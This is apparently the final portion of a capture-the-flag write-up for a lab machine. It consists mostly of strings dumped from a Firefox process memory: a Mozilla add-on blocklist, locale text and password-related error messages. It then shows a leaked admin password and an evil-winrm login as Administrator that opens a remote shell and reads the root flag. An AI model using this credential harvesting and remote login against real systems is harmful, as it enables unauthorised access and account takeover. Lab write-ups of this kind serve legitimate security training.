DLC”,”created”:”2013-12-20T12:38:20Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”96f8e157-8b8b-8e2e-76cd-6850599b4370″,”last_modified”:1480349194521},{“guid”:”wxtui502n2xce9j@no14″,”prefs”:[],”schema”:1480349193877,”blockID”:”i1012″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1206157″,”who”:”All users who have this add-on installed.”,”why”:”This is a malicious add-on that takes over Facebook accounts.”,”name”:”Video fix (malware)”,”created”:”2015-09-21T13:04:09Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”246798ac-25fa-f4a4-258c-a71f9f6ae091″,”last_modified”:1480349194463},{“guid”:”flashX@adobe.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i168″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=807052″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This is an exploit proof-of-concept created for a conference presentation, which will probably be copied and modified for malicious purposes. \r\n”,”name”:”Zombie Browser Pack”,”created”:”2012-10-30T12:07:41Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”d7c69812-801c-8d8e-12cb-c5171bdc48a1″,”last_modified”:1480349194428},{“guid”:”/^(ff\\-)?dodate(kKKK|XkKKK|k|kk|kkx|kR)@(firefox|flash(1)?)\\.pl|dode(ee)?k@firefoxnet\\.pl|(addon|1)@upsolutions\\.pl$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i1278″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1312748″,”who”:”Any user with a version of this add-on installed.”,”why”:”This add-on claims to be a flash plugin and it does some work on youtube, but it also steals your facebook and adfly credentials and sends them to a remote server.”,”name”:”Aktualizacja dodatku Flash Add-on”,”created”:”2016-10-27T10:52:53Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”389aec65-a15d-8276-c7a8-691ac283c9f1″,”last_modified”:1480349194386},{“guid”:”tmbepff@trendmicro.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i1223″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1275245″,”who”:”All users of this add-on. If you wish to continue using it, you can enable it in the Add-ons Manager.”,”why”:”Add-on is causing a high-frequency crash in Firefox.”,”name”:”Trend Micro BEP 9.2 to 9.2.0.1023″,”created”:”2016-05-30T17:07:04Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”9.2.0.1023″,”minVersion”:”9.2″,”targetApplication”:[]}],”id”:”46f75b67-2675-bdde-be93-7ea03475d405″,”last_modified”:1480349194331},{“guid”:”{4889ddce-7a83-45e6-afc9-1e4f1149fff4}”,”prefs”:[],”schema”:1480343836083,”blockID”:”i840″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1128327″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed and performs unwanted actions, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Cyti Web (malware)”,”created”:”2015-02-06T14:30:06Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”be600f35-0633-29f3-c571-819e19d85db9″,”last_modified”:1480349193867},{“guid”:”{55dce8ba-9dec-4013-937e-adbf9317d990″,”prefs”:[],”schema”:1480343836083,”blockID”:”i690″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1048647″,”who”:”All Firefox users. Users who wish to continue using this add-on can enable it in the Add-ons Manager.”,”why”:”This add-on is being silently installed in users’ systems, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Deal Keeper”,”created”:”2014-08-12T16:23:46Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”512b0d40-a10a-5ddc-963b-b9c487eb1422″,”last_modified”:1480349193833},{“guid”:”/^new@kuot\\.pro|{13ec6687-0b15-4f01-a5a0-7a891c18e4ee}|rebeccahoppkins(ty(tr)?)?@gmail\\.com|{501815af-725e-45be-b0f2-8f36f5617afc}|{9bdb5f1f-b1e1-4a75-be31-bdcaace20a99}|{e9d93e1d-792f-4f95-b738-7adb0e853b7b}|dojadewaskurwa@gmail\\.com$/”,”prefs”:[],”schema”:1480343836083,”blockID”:”i1414″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1312748″,”who”:”All users who have this add-on installed.”,”why”:”This add-on claims to be a flash plugin and it does some work on youtube, but it also steals your facebook and adfly credentials and sends them to a remote server.”,”name”:”Aktualizacja dodatku Flash (malware)”,”created”:”2016-10-28T18:06:03Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”5cebc983-bc88-d5f8-6807-bd1cbfcd82fd”,”last_modified”:1480349193798},{“guid”:”/^pink@.*\\.info$/”,”prefs”:[],”schema”:1480343836083,”blockID”:”i238″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=806543″,”who”:”All Firefox users (Firefox 19 and above) who have any of these add-ons installed.”,”why”:”This is a set of malicious add-ons that affect many users and are installed without their consent.”,”name”:”Pink add-ons (malware)”,”created”:”2012-12-07T13:46:20Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[{“guid”:”{ec8030f7-c20a-464f-9b0e-13a3a9e97384}”,”maxVersion”:”*”,”minVersion”:”18.0″}]}],”id”:”0d964264-8bd6-b78d-3c6c-92046c7dc8d0″,”last_modified”:1480349193764},{“guid”:”{58d2a791-6199-482f-a9aa-9b725ec61362}”,”prefs”:[],”schema”:1480343836083,”blockID”:”i746″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=963787″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”This add-on is silently installed into users’ systems, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Start Page”,”created”:”2014-10-17T16:01:53Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”8ebbc7d0-635c-b74a-de9f-16eb5837b36a”,”last_modified”:1480349193730},{“guid”:”{94cd2cc3-083f-49ba-a218-4cda4b4829fd}”,”prefs”:[],”schema”:1480343836083,”blockID”:”i590″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1013678″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using this add-on can enable it in the Add-ons Manager.”,”why”:”This add-on is silently installed into users’ profiles, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Value Apps”,”created”:”2014-06-03T16:12:50Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”556b8d4d-d6c2-199d-9f33-8eccca07e8e7″,”last_modified”:1480349193649},{“guid”:”contentarget@maildrop.cc”,”prefs”:[],”schema”:1480343836083,”blockID”:”i818″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1119971″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This is a malicious extension that hijacks Facebook accounts.”,”name”:”Astro Play (malware)”,”created”:”2015-01-12T09:29:19Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”440e9923-027a-6089-e036-2f78937dc193″,”last_modified”:1480349193622},{“guid”:”unblocker30__web@unblocker.yt”,”prefs”:[],”schema”:1480343836083,”blockID”:”i1228″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1251911″,”who”:”All users who have this add-on installed.”,”why”:”This add-on is a copy of YouTube Unblocker, which was <a href=\”https://addons.mozilla.org/firefox/blocked/i1129\”>originally blocked</a> due to malicious activity.”,”name”:”YouTube Unblocker 3.0″,”created”:”2016-06-01T15:17:22Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”2d83e640-ef9d-f260-f5a3-a1a5c8390bfc”,”last_modified”:1480349193595},{“guid”:”noOpus@outlook.com”,”prefs”:[],”schema”:1480343836083,”blockID”:”i816″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1119659″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed into users’ systems without their consent and performs unwanted operations.”,”name”:”Full Screen (malware)”,”created”:”2015-01-09T12:52:32Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”b64d7cef-8b6c-2575-16bc-732fca7db377″,”last_modified”:1480349193537},{“guid”:”{c95a4e8e-816d-4655-8c79-d736da1adb6d}”,”prefs”:[],”schema”:1480343836083,”blockID”:”i433″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=844945″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on bypasses the external install opt in screen in Firefox, violating the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>. Users who wish to continue using this add-on can enable it in the Add-ons Manager.”,”name”:”Hotspot Shield”,”created”:”2013-08-09T11:25:49Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”b3168278-a8ae-4882-7f26-355bc362bed0″,”last_modified”:1480349193510},{“guid”:”{9802047e-5a84-4da3-b103-c55995d147d1}”,”prefs”:[],”schema”:1480343836083,”blockID”:”i722″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1073810″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed into users’ systems. It uses very unsafe practices to load its code, and leaks information of all web browsing activity. These are all violations of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Web Finder Pro”,”created”:”2014-10-07T12:58:14Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”50097c29-26b1-bf45-ffe1-83da217eb127″,”last_modified”:1480349193482},{“guid”:”/^({bf9194c2-b86d-4ebc-9b53-1c08b6ff779e}|{61a83e16-7198-49c6-8874-3e4e8faeb4f3}|{f0af464e-5167-45cf-9cf0-66b396d1918c}|{5d9968c3-101c-4944-ba71-72d77393322d}|{01e86e69-a2f8-48a0-b068-83869bdba3d0})$/”,”prefs”:[],”schema”:1480343836083,”blockID”:”i515″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=947473″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”The installer that includes this add-on violates the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> by using multiple add-on IDs and making unwanted settings changes.”,”name”:”VisualBee Toolbar”,”created”:”2013-12-20T12:26:49Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”029fa6f9-2351-40b7-5443-9a66e057f199″,”last_modified”:1480349193449},{“guid”:”/^({d50bfa5f-291d-48a8-909c-5f1a77b31948}|{d54bc985-6e7b-46cd-ad72-a4a266ad879e}|{d89e5de3-5543-4363-b320-a98cf150f86a}|{f3465017-6f51-4980-84a5-7bee2f961eba}|{fae25f38-ff55-46ea-888f-03b49aaf8812})$/”,”prefs”:[],”schema”:1480343836083,”blockID”:”i1137″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1251940″,”who”:”All users who have this add-on installed.”,”why”:”This is a malicious add-on that hides itself from view and disables various security features in Firefox.”,”name”:”Watcher (malware)”,”created”:”2016-03-04T17:56:42Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”252e18d0-85bc-7bb3-6197-5f126424c9b3″,”last_modified”:1480349193419},{“guid”:”ffxtlbr@claro.com”,”prefs”:[],”schema”:1480343836083,”blockID”:”i218″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=816762″,”who”:”All Firefox users who have installed this add-on.”,”why”:”The Claro Toolbar is side-installed with other software, unexpectedly changing users’ settings and then making it impossible for these settings to be reverted by users.”,”name”:”Claro Toolbar”,”created”:”2012-11-29T16:07:00Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”e017a3b2-9b37-b8a0-21b0-bc412ae8a7f4″,”last_modified”:1480349193385},{“guid”:”/^(.*@(unblocker\\.yt|sparpilot\\.com))|(axtara@axtara\\.com)$/”,”prefs”:[],”schema”:1480343836083,”blockID”:”i1229″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1251911″,”who”:”All users who have this add-on installed.”,”why”:”These add-ons are copies of YouTube Unblocker, which was <a href=\”https://addons.mozilla.org/firefox/blocked/i1129\”>originally blocked</a> due to malicious activity.”,”name”:”YouTube Unblocker (various)”,”created”:”2016-06-03T15:28:39Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”c677cc5d-5b1e-8aa2-5cea-5a8dddce2ecf”,”last_modified”:1480349193344},{“guid”:”/^(j003-lqgrmgpcekslhg|SupraSavings|j003-dkqonnnthqjnkq|j003-kaggrpmirxjpzh)@jetpack$/”,”prefs”:[],”schema”:1480343836083,”blockID”:”i692″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1048656″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using this add-on can enable it in the Add-ons Manager.”,”why”:”This add-on is being silently installed in users’ systems, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”SupraSavings”,”created”:”2014-08-12T16:27:06Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”b0d30256-4581-1489-c241-d2e85b6c38f4″,”last_modified”:1480349193295},{“guid”:”helperbar@helperbar.com”,”prefs”:[],”schema”:1480343836083,”blockID”:”i258″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=817786″,”who”:”All Firefox users who have this add-on installed. This only applies to version 1.0 of Snap.do. Version 1.1 fixed all the issues for which this block was created.”,”why”:”This extension violates a number of our <a href=\”https://developer.mozilla.org/en-US/docs/Addons/Add-on_guidelines\”>Add-on Guidelines</a>, particularly on installation and settings handling. It also causes some stability problems in Firefox due to the way the toolbar is handled.\r\n\r\nUsers who wish to keep the add-on enabled can enable it again in the Add-ons Manager.”,”name”:”Snap.do”,”created”:”2013-01-28T13:52:26Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”1.0″,”minVersion”:”0″,”targetApplication”:[]}],”id”:”f1ede5b8-7757-5ec5-d8ed-1a01889154aa”,”last_modified”:1480349193254},{“guid”:”/^((support2_en@adobe14\\.com)|(XN4Xgjw7n4@yUWgc\\.com)|(C7yFVpIP@WeolS3acxgS\\.com)|(Kbeu4h0z@yNb7QAz7jrYKiiTQ3\\.com)|(aWQzX@a6z4gWdPu8FF\\.com)|(CBSoqAJLYpCbjTP90@JoV0VMywCjsm75Y0toAd\\.com)|(zZ2jWZ1H22Jb5NdELHS@o0jQVWZkY1gx1\\.com))$/”,”prefs”:[],”schema”:1480343836083,”blockID”:”i326″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=841791″,”who”:”All users who have this add-on installed.”,”why”:”This extension is malware, installed pretending to be the Flash Player plugin.”,”name”:”Flash Player (malware)”,”created”:”2013-03-22T14:49:08Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”3142020b-8af9-1bac-60c5-ce5ad0ff3d42″,”last_modified”:1480349193166},{“guid”:”newmoz@facebook.com”,”prefs”:[],”schema”:1480343836083,”blockID”:”i576″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=997986″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is malware that hijacks Facebook user accounts and sends spam on the user’s behalf.”,”name”:”Facebook Service Pack (malware)”,”created”:”2014-04-22T14:34:42Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”d85798d3-9b87-5dd9-ace2-64914b93df77″,”last_modified”:1480349193114},{“guid”:”flvto@hotger.com”,”prefs”:[],”schema”:1480343836083,”blockID”:”i1211″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1270175″,”who”:”All users of this add-on. If you wish to continue using it, you can enable it in the Add-ons Manager.”,”why”:”This add-on reports every visited URL to a third party without disclosing it to the user.”,”name”:”YouTube to MP3 Button”,”created”:”2016-05-04T16:26:32Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”a14d355f-719f-3b97-506c-083cc97cebaa”,”last_modified”:1480349193088},{“guid”:”{0F827075-B026-42F3-885D-98981EE7B1AE}”,”prefs”:[],”schema”:1480343836083,”blockID”:”i334″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=862272″,”who”:”All Firefox users who have this extension installed.”,”why”:”This extension is malicious and is installed under false pretenses, causing problems for many Firefox users. Note that this is not the same <a href=\”https://addons.mozilla.org/firefox/addon/browserprotect/\”>BrowserProtect extension</a> that is listed on our add-ons site. That one is safe to use.”,”name”:”Browser Protect / bProtector (malware)”,”created”:”2013-04-16T13:25:01Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”aad4545f-8f9d-dd53-2aa8-e8945cad6185″,”last_modified”:1480349192987}]}PK
<!ENTITY urlbar.passwordNotificationAnchor.tooltip “Open save password message panel”>
<!ENTITY identity.description.insecure “Your connection to this site is not private. Information you submit could be viewed by others (like passwords, messages, credit cards, etc.).”>
<!ENTITY identity.description.activeLoaded2 “Information you share with this site could be viewed by others (like passwords, messages, credit cards, etc.).”>
<!ENTITY noMigrationSources.label “No programs that contain bookmarks, history or password data could be found.”>
<!ENTITY certerror.introPara2 “&brandShortName; detected a potential security threat and did not continue to <span class=’hostname’/>. If you visit this site, attackers could try to steal information like your passwords, emails, or credit card details.”>
s certificate is expired, which prevents &brandShortName; from connecting securely. If you visit this site, attackers could try to steal information like your passwords, emails, or credit card details.”>
<!ENTITY securityView.privacy.passwords “Have I saved any passwords for this website?”>
<!ENTITY safeb.blocked.phishingPage.shortDesc3 “&brandShortName; blocked this page because it may trick you into doing something dangerous like installing software or revealing personal information like passwords or credit cards.”>
<!ENTITY safeb.blocked.harmfulPage.shortDesc2 “&brandShortName; blocked this page because it might try to install dangerous apps that steal or delete your information (for example, photos, passwords, messages and credit cards).”>
s bookmarks, passwords and other settings with %S
password_label=Enter the password to open this PDF file.
password_invalid=Invalid password. Please try again.
password_ok=OK
password_cancel=Cancel
%2e%2e%2e%2E%2E%2e%2E%2E%2e.%2E..%2e.%2E%2e%2Efile: with host and Windows drive letterZ:\build\build\src\third_party\rust\percent-encoding\lib.rsunencoded @ sign in username or passwordembedding authentication information (username or password) in an URL is not recommendedfile:///file://localhostleading or trailing control or space character are ignored in URLstabs or newlines are ignored in URLs
password
password
passwordField
nsaludospodemosmejorarpositionbusinesshomepagesecuritylanguagestandardcampaignfeaturescategoryexternalchildrenreservedresearchexchangefavoritetemplatemilitaryindustryservicesmaterialproductsz-index:commentssoftwarecompletecalendarplatformarticlesrequiredmovementquestionbuildingpoliticspossiblereligionphysicalfeedbackregisterpicturesdisabledprotocolaudiencesettingsactivityelementslearninganythingabstractprogressoverviewmagazineeconomictrainingpressurevarious <strong>propertyshoppingtogetheradvancedbehaviordownloadfeaturedfootballselectedLanguagedistanceremembertrackingpasswordmodifiedstudentsdirectlyfightingnortherndatabasefestivalbreakinglocationinternetdropdownpracticeevidencefunctionmarriageresponseproblemsnegativeprogramsanalysisreleasedbanner”>purchasepoliciesregionalcreativeargumentbookmarkreferrerchemicaldivisioncallbackseparateprojectsconflicthardwareinterestdeliverymountainobtained= false;for(var acceptedcapacitycomputeridentityaircraftemployedproposeddomesticincludesprovidedhospitalverticalcollapseapproachpartnerslogo”><adaughterauthor” culturalfamilies/images/assemblypowerfulteachingfinisheddistrictcriticalcgi-bin/purposesrequireselectionbecomingprovidesacademicexerciseactuallymedicineconstantaccidentMagazinedocumentstartingbottom”>observed: &quot;extendedpreviousSoftwarecustomerdecisionstrengthdetailedslightlyplanningtextareacurrencyeveryonestraighttransferpositiveproducedheritageshippingabsolutereceivedrelevantbutton” violenceanywherebenefitslaunchedrecentlyalliancefollowedmultiplebulletinincludedoccurredinternal$(this).republic><tr><tdcongressrecordedultimatesolution<ul id=”discoverHome</a>websitesnetworksalthoughentirelymemorialmessagescontinueactive”>somewhatvictoriaWestern title=”LocationcontractvisitorsDownloadwithout right”>
Copyright javascriptconditionseverything<p class=”technologybackground<a class=”management&copy; 201javaScriptcharactersbreadcrumbthemselveshorizontalgovernmentCaliforniaactivitiesdiscoveredNavigationtransitionconnectionnavigationappearance</title><mcheckbox” techniquesprotectionapparentlyas well asunt’, ‘UA-resolutionoperationstelevisiontranslatedWashingtonnavigator. = window.impression&lt;br&gt;literaturepopulationbgcolor=”#especially content=”productionnewsletterpropertiesdefinitionleadershipTechnologyParliamentcomparisonul class=”.indexOf(“conclusiondiscussioncomponentsbiologicalRevolution_containerunderstoodnoscript><permissioneach otheratmosphere onfocus=”<form id=”processingthis.valuegenerationConferencesubsequentwell-knownvariationsreputationphenomenondisciplinelogo.png” (document,boundariesexpressionsettlementBackgroundout of theenterprise(“https:” unescape(“password” democratic<a href=”/wrapper”>
password text
STUN-SERVER(%s): Unable to find password for unknown user: %s
socks5: username/password accepted by server
passwordmanager
test-passwordwhite-proto
goog-passwordwhite-proto
passwords.google.com
chrome://pippki/content/changepassword.xul
chrome://pippki/content/setp12password.xul
socks password is too long
urlclassifier.passwordAllowTable
network.ftp.anonymous_password
new-password
current-password
Missing ICE ufrag or password
socks5: sending username and password
socks5: username/password not accepted
browser.safebrowsing.passwords.enabled
STUN authentication requested but no password provided
‘ is not valid. Username and password must be empty.
Error deserializing ‘password’ (StandardURLSegment) member of ‘StandardURLParams’
/password 5839 def
nsStandardURL::SetPassword [password=%s]
password = (%u,%d)
password
passwordRequired
The security password entered is incorrect.
New password entered incorrectly. Please try again.
Old password entered incorrectly. Please try again.
Unable to import. Invalid MAC. Incorrect password or corrupt file.
Unable to import. Incorrect privacy password.
Unable to import. Only password integrity and privacy modes supported.
The password expired.
The password is locked.
the requested password input.
The Windows password is too complex to be converted to a LAN Manager password. The LAN Manager password returned is a NULL string.
When trying to update a password, this return status indicates that the value provided as the current password is not correct.
When trying to update a password, this return status indicates that the value provided for the new password contains values that are not allowed in passwords.
When trying to update a password, this status indicates that some password update rule has been violated. For example, the password may not meet length criteria.
The user account’s password has expired.
You specified an incorrect password to a LAN Manager 2.x or MS-NET server.
An attempt was made to change a user password in the security account manager without providing the necessary Windows cross-encrypted password.
An attempt was made to change a user password in the security account manager without providing the necessary LM cross-encrypted password.
The user’s password must be changed before signing in.
The user account has been automatically locked because too many invalid logon attempts or password change attempts have been requested.
The password provided is too short to meet the policy of your user account. Please choose a longer password.
The policy of your user account does not allow you to change passwords too frequently. This is done to prevent users from changing back to a familiar, but potentially discovered, password. If you feel your password has been compromised then please contact your administrator immediately to have a new one assigned.
You have attempted to change your password to one that you have used in the past. The policy of your user account does not allow this. Please select a password that you have not previously used.
The password provided is too long to meet the policy of your user account. Please choose a shorter password.
Mutual Authentication failed. The server’s password is out of date at the domain controller.
Security Account Manager needs to get the boot password.
EAS policy requires that the user change their password before this operation can be performed.
The BitLocker startup key or recovery password could not be read from external media.
The BitLocker startup key or recovery password file is corrupt or invalid.
The BitLocker encryption key could not be obtained from the startup key or recovery password.
Device Lock has been triggered due to too many incorrect password attempts.

we can see this

MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=

now on another terminal

root@kali:~/Downloads# evil-winrm -i 10.10.10.149 -u Administrator -p ‘4dD!5}x/re8]FBuZ’

Evil-WinRM shell v2.0

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../Desktop/root.txt
50dfa3c6bfd20eXXXXXXXXXXXXXXXXXXXX

@SAKSHAM DIXIT

Related Posts

COMMENTS

Leave a Reply

Your email address will not be published. Required fields are marked *